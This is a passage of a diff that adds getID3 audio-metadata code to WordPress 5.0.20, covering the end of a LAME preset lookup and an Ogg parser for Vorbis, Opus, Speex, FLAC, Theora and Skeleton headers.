+		return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : '');
+	}
+
+	public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) {
+		static $LAMEmiscSourceSampleFrequencyLookup = array(
+			0 => '<= 32 kHz',
+			1 => '44.1 kHz',
+			2 => '48 kHz',
+			3 => '> 48kHz'
+		);
+		return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : '');
+	}
+
+	public static function LAMEsurroundInfoLookup($SurroundInfoID) {
+		static $LAMEsurroundInfoLookup = array(
+			0 => 'no surround info',
+			1 => 'DPL encoding',
+			2 => 'DPL2 encoding',
+			3 => 'Ambisonic encoding'
+		);
+		return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved');
+	}
+
+	public static function LAMEpresetUsedLookup($LAMEtag) {
+
+		if ($LAMEtag['preset_used_id'] == 0) {
+			// no preset used (LAME >=3.93)
+			// no preset recorded (LAME <3.93)
+			return '';
+		}
+		$LAMEpresetUsedLookup = array();
+
+		/////  THIS PART CANNOT BE STATIC .
+		for ($i = 8; $i <= 320; $i++) {
+			switch ($LAMEtag['vbr_method']) {
+				case 'cbr':
+					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i;
+					break;
+				case 'abr':
+				default: // other VBR modes shouldn't be here(?)
+					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$i;
+					break;
+			}
+		}
+
+		// named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions()
+
+		// named alt-presets
+		$LAMEpresetUsedLookup[1000] = '--r3mix';
+		$LAMEpresetUsedLookup[1001] = '--alt-preset standard';
+		$LAMEpresetUsedLookup[1002] = '--alt-preset extreme';
+		$LAMEpresetUsedLookup[1003] = '--alt-preset insane';
+		$LAMEpresetUsedLookup[1004] = '--alt-preset fast standard';
+		$LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme';
+		$LAMEpresetUsedLookup[1006] = '--alt-preset medium';
+		$LAMEpresetUsedLookup[1007] = '--alt-preset fast medium';
+
+		// LAME 3.94 additions/changes
+		$LAMEpresetUsedLookup[1010] = '--preset portable';                                                           // 3.94a15 Oct 21 2003
+		$LAMEpresetUsedLookup[1015] = '--preset radio';                                                              // 3.94a15 Oct 21 2003
+
+		$LAMEpresetUsedLookup[320]  = '--preset insane';                                                             // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[410]  = '-V9';
+		$LAMEpresetUsedLookup[420]  = '-V8';
+		$LAMEpresetUsedLookup[440]  = '-V6';
+		$LAMEpresetUsedLookup[430]  = '--preset radio';                                                              // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[450]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable';  // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[460]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium';    // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[470]  = '--r3mix';                                                                     // 3.94b1  Dec 18 2003
+		$LAMEpresetUsedLookup[480]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard';  // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[490]  = '-V1';
+		$LAMEpresetUsedLookup[500]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme';   // 3.94a15 Nov 12 2003
+
+		return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org');
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio.ogg.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio.ogg.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio.ogg.php	(revision 56912)
@@ -0,0 +1,840 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.ogg.php                                        //
+// module for analyzing Ogg Vorbis, OggFLAC and Speex files    //
+// dependencies: module.audio.flac.php                         //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true);
+
+class getid3_ogg extends getid3_handler
+{
+	// http://xiph.org/vorbis/doc/Vorbis_I_spec.html
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$info['fileformat'] = 'ogg';
+
+		// Warn about illegal tags - only vorbiscomments are allowed
+		if (isset($info['id3v2'])) {
+			$this->warning('Illegal ID3v2 tag present.');
+		}
+		if (isset($info['id3v1'])) {
+			$this->warning('Illegal ID3v1 tag present.');
+		}
+		if (isset($info['ape'])) {
+			$this->warning('Illegal APE tag present.');
+		}
+
+
+		// Page 1 - Stream Header
+
+		$this->fseek($info['avdataoffset']);
+
+		$oggpageinfo = $this->ParseOggPageHeader();
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+		if ($this->ftell() >= $this->getid3->fread_buffer_size()) {
+			$this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)');
+			unset($info['fileformat']);
+			unset($info['ogg']);
+			return false;
+		}
+
+		$filedata = $this->fread($oggpageinfo['page_length']);
+		$filedataoffset = 0;
+
+		if (substr($filedata, 0, 4) == 'fLaC') {
+
+			$info['audio']['dataformat']   = 'flac';
+			$info['audio']['bitrate_mode'] = 'vbr';
+			$info['audio']['lossless']     = true;
+
+		} elseif (substr($filedata, 1, 6) == 'vorbis') {
+
+			$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);
+
+		} elseif (substr($filedata, 0, 8) == 'OpusHead') {
+
+			if( $this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) == false ) {
+				return false;
+			}
+
+		} elseif (substr($filedata, 0, 8) == 'Speex   ') {
+
+			// http://www.speex.org/manual/node10.html
+
+			$info['audio']['dataformat']   = 'speex';
+			$info['mime_type']             = 'audio/speex';
+			$info['audio']['bitrate_mode'] = 'abr';
+			$info['audio']['lossless']     = false;
+
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string']           =                              substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex   '
+			$filedataoffset += 8;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']          =                              substr($filedata, $filedataoffset, 20);
+			$filedataoffset += 20;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']                    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers']          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+			$filedataoffset += 4;
+
+			$info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']);
+			$info['speex']['sample_rate']   = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'];
+			$info['speex']['channels']      = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'];
+			$info['speex']['vbr']           = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'];
+			$info['speex']['band_type']     = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']);
+
+			$info['audio']['sample_rate']   = $info['speex']['sample_rate'];
+			$info['audio']['channels']      = $info['speex']['channels'];
+			if ($info['speex']['vbr']) {
+				$info['audio']['bitrate_mode'] = 'vbr';
+			}
+
+		} elseif (substr($filedata, 0, 7) == "\x80".'theora') {
+
+			// http://www.theora.org/doc/Theora.pdf (section 6.2)
+
+			$info['ogg']['pageheader']['theora']['theora_magic']             =                           substr($filedata, $filedataoffset,  7); // hard-coded to "\x80.'theora'
+			$filedataoffset += 7;
+			$info['ogg']['pageheader']['theora']['version_major']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['version_minor']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['version_revision']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['frame_width_macroblocks']  = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['pageheader']['theora']['resolution_x']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['resolution_y']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['picture_offset_x']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['picture_offset_y']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['frame_rate_numerator']     = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader']['theora']['frame_rate_denominator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
+			$filedataoffset += 4;
+			$info['ogg']['pageheader']['theora']['pixel_aspect_numerator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['color_space_id']           = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
+			$filedataoffset += 1;
+			$info['ogg']['pageheader']['theora']['nominal_bitrate']          = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
+			$filedataoffset += 3;
+			$info['ogg']['pageheader']['theora']['flags']                    = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+
+			$info['ogg']['pageheader']['theora']['quality']         = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10;
+			$info['ogg']['pageheader']['theora']['kfg_shift']       = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >>  5;
+			$info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >>  3;
+			$info['ogg']['pageheader']['theora']['reserved']        = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >>  0; // should be 0
+			$info['ogg']['pageheader']['theora']['color_space']     = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']);
+			$info['ogg']['pageheader']['theora']['pixel_format']    = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']);
+
+			$info['video']['dataformat']   = 'theora';
+			$info['mime_type']             = 'video/ogg';
+			//$info['audio']['bitrate_mode'] = 'abr';
+			//$info['audio']['lossless']     = false;
+			$info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x'];
+			$info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y'];
+			if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) {
+				$info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator'];
+			}
+			if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) {
+				$info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'];
+			}
+$this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable');
+
+
+		} elseif (substr($filedata, 0, 8) == "fishead\x00") {
+
+			// Ogg Skeleton version 3.0 Format Specification
+			// http://xiph.org/ogg/doc/skeleton.html
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['version_major']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['skeleton']['fishead']['raw']['version_minor']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
+			$filedataoffset += 2;
+			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+			$filedataoffset += 8;
+			$info['ogg']['skeleton']['fishead']['raw']['utc']                          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20));
+			$filedataoffset += 20;
+
+			$info['ogg']['skeleton']['fishead']['version']          = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor'];
+			$info['ogg']['skeleton']['fishead']['presentationtime'] = $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'];
+			$info['ogg']['skeleton']['fishead']['basetime']         = $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']         / $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator'];
+			$info['ogg']['skeleton']['fishead']['utc']              = $info['ogg']['skeleton']['fishead']['raw']['utc'];
+
+
+			$counter = 0;
+			do {
+				$oggpageinfo = $this->ParseOggPageHeader();
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo;
+				$filedata = $this->fread($oggpageinfo['page_length']);
+				$this->fseek($oggpageinfo['page_end_offset']);
+
+				if (substr($filedata, 0, 8) == "fisbone\x00") {
+
+					$filedataoffset = 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['message_header_offset']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['serial_number']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['number_header_packets']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+					$filedataoffset += 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+					$filedataoffset += 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['basegranule']             = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
+					$filedataoffset += 8;
+					$info['ogg']['skeleton']['fisbone']['raw']['preroll']                 = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+					$filedataoffset += 4;
+					$info['ogg']['skeleton']['fisbone']['raw']['granuleshift']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
+					$filedataoffset += 1;
+					$info['ogg']['skeleton']['fisbone']['raw']['padding']                 =                              substr($filedata, $filedataoffset,  3);
+					$filedataoffset += 3;
+
+				} elseif (substr($filedata, 1, 6) == 'theora') {
+
+					$info['video']['dataformat'] = 'theora1';
+					$this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']');
+					//break;
+
+				} elseif (substr($filedata, 1, 6) == 'vorbis') {
+
+					$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);
+
+				} else {
+					$this->error('unexpected');
+					//break;
+				}
+			//} while ($oggpageinfo['page_seqno'] == 0);
+			} while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00"));
+
+			$this->fseek($oggpageinfo['page_start_offset']);
+
+			$this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']');
+			//return false;
+
+		} else {
+
+			$this->error('Expecting either "Speex   ", "OpusHead" or "vorbis" identifier strings, found "'.substr($filedata, 0, 8).'"');
+			unset($info['ogg']);
+			unset($info['mime_type']);
+			return false;
+
+		}
+
+		// Page 2 - Comment Header
+		$oggpageinfo = $this->ParseOggPageHeader();
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+		switch ($info['audio']['dataformat']) {
+			case 'vorbis':
+				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1));
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] =                              substr($filedata, 1, 6); // hard-coded to 'vorbis'
+
+				$this->ParseVorbisComments();
+				break;
+
+			case 'flac':
+				$flac = new getid3_flac($this->getid3);
+				if (!$flac->parseMETAdata()) {
+					$this->error('Failed to parse FLAC headers');
+					return false;
+				}
+				unset($flac);
+				break;
+
+			case 'speex':
+				$this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR);
+				$this->ParseVorbisComments();
+				break;
+
+			case 'opus':
+				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
+				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags'
+				if(substr($filedata, 0, 8)  != 'OpusTags') {
+					$this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"');
+					return false;
+				}
+
+				$this->ParseVorbisComments();
+				break;
+
+		}
+
+		// Last Page - Number of Samples
+		if (!getid3_lib::intValueSupported($info['avdataend'])) {
+
+			$this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)');
+
+		} else {
+
+			$this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0));
+			$LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size()));
+			if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) {
+				$this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO')));
+				$info['avdataend'] = $this->ftell();
+				$info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader();
+				$info['ogg']['samples']   = $info['ogg']['pageheader']['eos']['pcm_abs_position'];
+				if ($info['ogg']['samples'] == 0) {
+					$this->error('Corrupt Ogg file: eos.number of samples == zero');
+					return false;
+				}
+				if (!empty($info['audio']['sample_rate'])) {
+					$info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['ogg']['samples'] / $info['audio']['sample_rate']);
+				}
+			}
+
+		}
+
+		if (!empty($info['ogg']['bitrate_average'])) {
+			$info['audio']['bitrate'] = $info['ogg']['bitrate_average'];
+		} elseif (!empty($info['ogg']['bitrate_nominal'])) {
+			$info['audio']['bitrate'] = $info['ogg']['bitrate_nominal'];
+		} elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) {
+			$info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2;
+		}
+		if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) {
+			if ($info['audio']['bitrate'] == 0) {
+				$this->error('Corrupt Ogg file: bitrate_audio == zero');
+				return false;
+			}
+			$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']);
+		}
+
+		if (isset($info['ogg']['vendor'])) {
+			$info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']);
+
+			// Vorbis only
+			if ($info['audio']['dataformat'] == 'vorbis') {
+
+				// Vorbis 1.0 starts with Xiph.Org
+				if  (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) {
+
+					if ($info['audio']['bitrate_mode'] == 'abr') {
+
+						// Set -b 128 on abr files
+						$info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000);
+
+					} elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) {
+						// Set -q N on vbr files
+						$info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']);
+
+					}
+				}
+
+				if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) {
+					$info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps';
+				}
+			}
+		}
+
+		return true;
+	}
+
+	public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
+		$info = &$this->getid3->info;
+		$info['audio']['dataformat'] = 'vorbis';
+		$info['audio']['lossless']   = false;
+
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis'
+		$filedataoffset += 6;
+		$info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
+		$filedataoffset += 1;
+		$info['audio']['channels']       = $info['ogg']['numberofchannels'];
+		$info['ogg']['samplerate']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		if ($info['ogg']['samplerate'] == 0) {
+			$this->error('Corrupt Ogg file: sample rate == zero');
+			return false;
+		}
+		$info['audio']['sample_rate']    = $info['ogg']['samplerate'];
+		$info['ogg']['samples']          = 0; // filled in later
+		$info['ogg']['bitrate_average']  = 0; // filled in later
+		$info['ogg']['bitrate_max']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['bitrate_nominal']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['bitrate_min']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
+		$filedataoffset += 4;
+		$info['ogg']['blocksize_small']  = pow(2,  getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F);
+		$info['ogg']['blocksize_large']  = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4);
+		$info['ogg']['stop_bit']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet
+
+		$info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr
+		if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) {
+			unset($info['ogg']['bitrate_max']);
+			$info['audio']['bitrate_mode'] = 'abr';
+		}
+		if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) {
+			unset($info['ogg']['bitrate_nominal']);
+		}
+		if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) {
+			unset($info['ogg']['bitrate_min']);
+			$info['audio']['bitrate_mode'] = 'abr';
+		}
+		return true;
+	}
+
+	// http://tools.ietf.org/html/draft-ietf-codec-oggopus-03
+	public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
+		$info = &$this->getid3->info;
+		$info['audio']['dataformat']   = 'opus';
+		$info['mime_type']             = 'audio/ogg; codecs=opus';
+
+		/** @todo find a usable way to detect abr (vbr that is padded to be abr) */
+		$info['audio']['bitrate_mode'] = 'vbr';
+
+		$info['audio']['lossless']     = false;
+
+		$info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead'
+		$filedataoffset += 8;
+		$info['ogg']['pageheader']['opus']['version']    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
+		$filedataoffset += 1;
+
+		if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) {
+			$this->error('Unknown opus version number (only accepting 1-15)');
+			return false;
+		}
+
+		$info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
+		$filedataoffset += 1;
+
+		if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) {
+			$this->error('Invalid channel count in opus header (must not be zero)');
+			return false;
+		}
+
+		$info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
+		$filedataoffset += 2;
+
+		$info['ogg']['pageheader']['opus']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
+		$filedataoffset += 4;
+
+		//$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
+		//$filedataoffset += 2;
+
+		//$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
+		//$filedataoffset += 1;
+
+		$info['opus']['opus_version']      = $info['ogg']['pageheader']['opus']['version'];
+		$info['opus']['sample_rate']       = $info['ogg']['pageheader']['opus']['sample_rate'];
+		$info['opus']['out_channel_count'] = $info['ogg']['pageheader']['opus']['out_channel_count'];
+
+		$info['audio']['channels']      = $info['opus']['out_channel_count'];
+		$info['audio']['sample_rate']   = $info['opus']['sample_rate'];
+		return true;
+	}
+
+
+	public function ParseOggPageHeader() {
+		// http://xiph.org/ogg/vorbis/doc/framing.html
+		$oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file
+
+		$filedata = $this->fread($this->getid3->fread_buffer_size());
+		$filedataoffset = 0;
+		while ((substr($filedata, $filedataoffset++, 4) != 'OggS')) {
+			if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) {
+				// should be found before here
+				return false;
+			}
+			if ((($filedataoffset + 28) > strlen($filedata)) || (strlen($filedata) < 28)) {
